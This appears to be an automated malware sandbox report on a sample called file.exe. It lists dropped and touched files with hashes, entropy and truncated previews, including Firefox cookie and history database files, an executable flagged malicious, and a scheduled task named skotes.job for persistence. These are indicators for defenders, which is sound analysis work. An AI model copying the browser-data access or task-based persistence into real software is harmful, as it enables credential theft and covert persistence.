Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1793457839\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1793457839\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1793457839\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1793457839\e4ff824b-79d8-4d68-a06f-3e59ca0df400.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 13:16:42 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.968135371089452
Encrypted:	false
SSDEEP:	48:8ndqJTnAuXHdOidAKZdA1P4ehwiZUklqehHy+3:8MJTAu+Ooy
MD5:	C54EF4ED8C79599434BD802666FC141E
SHA1:	438FE367BAC90139880846795CE7BA52EA132611
SHA-256:	C3B90673C2D4D8494F71D3575B611A598D927B0C7D9F9DCFA77B6F35EEA80A44
SHA-512:	F2FF6DAEDEE8601C96B936A20616551D6CED60BECBA35637050A7C96C5AA7B6B80A02231BAB60F55380F2AFADE8F450DD517745E1389A0063C6C4FE2C6AA4A9D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....fO.}.9....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IrY.r....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VrY.r....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VrY.r.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VrY.r...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............7.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 13:16:42 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.984262183427342
Encrypted:	false
SSDEEP:	48:8KdqJTnAuXHdOidAKZdA1+4eh/iZUkAQkqehYy+2:8pJTAu/F9QBy
MD5:	7BC45ABC0C4C86AB7844521C0D23F6CC
SHA1:	CD1AAD36794CA044126FEAE4A414C5AC8D2D0E46
SHA-256:	C8279875C4B1619DBF27C9337B2C561962E616B9EBE8A6869BC13086D265B76C
SHA-512:	72710A6020362093A2EBE704E50BDB02746F74E32FD26950656D3F9086563E708B6E475731FF2D78C0D406430489F0325FD5E09E01A4DD5F2DC53424094FB8E1
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....c.}.9....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IrY.r....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VrY.r....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VrY.r.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VrY.r...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............7.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	3.994005378306387
Encrypted:	false
SSDEEP:	48:8edqJTnAVHdOidAKZdA1404eh7sFiZUkmgqeh7sqy+BX:81JTA8In0y
MD5:	0227A4D51E1E6105B32129C4811D1F16
SHA1:	6366E5ED166D9C320720E75956E5F25471FFA20C
SHA-256:	F46C0CE89513791F06601E17F7D234E5D5F3CF868C59636424174E1D756BD838
SHA-512:	1EE27B631928874F97892B166BD6D606100AB1119B583C02808601C4404A55600839B0B07C395D5895FC50B90D42B473EC00C5EEE330F1C487311D760DCC74B4
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IrY.r....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VrY.r....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VrY.r.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............7.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 13:16:42 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9842223369096748
Encrypted:	false
SSDEEP:	48:8NdqJTnAuXHdOidAKZdA1p4ehDiZUkwqeh8y+R:8qJTAuI5yy
MD5:	3A854025D66D0C0EC144DF15C98E2F0A
SHA1:	6BE5F88DB21C4F71F5D5D580AD322B5221BDA6D1
SHA-256:	9E739137482EDDF9D64CC0F182D8D8403072A4C85A772902932CDC4156B5E1E8
SHA-512:	DADA65AD23EB3FF146D62851C2EDA7A0C69DD53FB8CF1739ACDCC567E640A25486D1A640790EA8A0020053A185369D8F256EBDA7F8E96193B83B92EC593F3CE2
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<.}.9....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IrY.r....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VrY.r....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VrY.r.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VrY.r...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............7.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 13:16:42 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9717429112592355
Encrypted:	false
SSDEEP:	48:8cdqJTnAuXHdOidAKZdA1X4ehBiZUk1W1qehWy+C:8jJTAuGb92y
MD5:	4667B108BCE69807EC760DB3DFE41671
SHA1:	2BDE2CF9AFB66C970D1305123654CEC02823B97E
SHA-256:	E233E68A0A28762AE34E9760A07CC97096D901593C880820690A215EA1C4A69A
SHA-512:	BF16DB1B2B7880E63414A867C61314F050B0342E8F18924B74C2C255ECB0CF5B5D04BBC9086D276C7668963445AC1B3AF1D1169845C4545F341E31EA1CB5B44B
Malicious:	false
Preview:	L..................F.@.. ...$+.,......}.9....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IrY.r....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VrY.r....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VrY.r.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VrY.r...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............7.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 13:16:41 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9815759795183254
Encrypted:	false
SSDEEP:	48:8kdqJTnAuXHdOidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTb0y+yT+:8LJTAu7TcJTbxWOvTb0y7T
MD5:	FF829AE5FC41C5A1241E2E7BCE4B5E09
SHA1:	6BAF89EBA110483323127B9F9E51951A23E6AE40
SHA-256:	004FC9D05D4668388DB447BB512F73255A8E0195580FB4EE1F9D4668418E315E
SHA-512:	EAE973A6FCA8D31262EE398644118F36D7B4DBF1A7BA1A7FCBA5E58662E7E05C62D85AE58237CD1F8F91EF6B509B55900DCC6F4FB411058C4CB7DE3E93225F28
Malicious:	false
Preview:	L..................F.@.. ...$+.,....2..}.9....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.IrY.r....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.r....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VrY.r....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VrY.r.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VrY.r...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............7.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJDGCGHCGHC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1922048
Entropy (8bit):	7.948840749588841
Encrypted:	false
SSDEEP:	49152:bqO/snbqA2RlOGmdmnMoIdd4NJccVXZPXaRQIetRa:Dsnp2OAWd0JccnPXs/e
MD5:	37243D85EDC9216A9E33F76DE6E12F77
SHA1:	A9C3EB83766B32B495614B039E01BB2A5F4C27E7
SHA-256:	1015EAA4D58916D0C27EA54BC055F6A6E9587A546F1E7A3C0B28B75F39825FE6
SHA-512:	1A8DE2CD05A608EA84518D0C8732B3CFBAC3AA37A131133B43D03CE2911B337F2FA438DE15139F957C4F5DDE44032F1550434788C200A7F9D81A877EE7FEEDA9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K.....FB....@.................................W...k.......H.....................K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...kjkktqrf.@...p1..8..................@...smoqjete......K.....................@....taggant.0....K.."...2..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJDGCGHCGHC.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.392228039132475
Encrypted:	false
SSDEEP:	6:ZFdZ/XFMsUEZ+lX1CGdKUe6tFYSoQI/uy0lB3llEt0:ZFdZfFMsQ1CGAFVQI/uVB3Mt0
MD5:	7FFC157752F56A4502476FB3C969DDB7
SHA1:	9A227B9F9750DF1229CAEC1A2C1FD305DC9B8746
SHA-256:	6EADEDD80462D7AF7F3DCB7DD309FCB23F1EF9570ADF900F431A8ACED411908F
SHA-512:	49790DEB270C6678EEDDC5CA8E83866DE366F08DDA968B6FA0ABF51BD8BDB7E4986A5D2D212F3D6989313679A6343BBB6BC1DD0FC4557A18B908F23755258398
Malicious:	false
Preview:	.......c2.O..=..s.F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........T.I.N.A.-.P.C.\.t.i.n.a...................0...................@3P.........................

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7182)
Category:	downloaded
Size (bytes):	7187
Entropy (8bit):	5.789245919701831
Encrypted:	false
SSDEEP:	192:QTIkFd66666kWMlkvfq92PyaDN6666VMkI8ksMnRjihNfm:Qki66666kWX3q9Sf6666DMnRjm5m
MD5:	F26A062B6C9E0A9C49DE7EF36DBFC2ED
SHA1:	A310187A06C93B718BE0CA02F9A106660560C770
SHA-256:	AA42EADEB1F7EE4E6185576C46952BD62E2BCA6C6655A9E29B02E620C0FEA6AA
SHA-512:	8EC67ADB4F89493DEAA9DD44E80A7E30954B6AF9A3BD7ECF52CE2BF2E8CA33D7C6AC60D02184B8766BF2D491EC31BA02C37707418CD0443E741C239435A82E6F
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
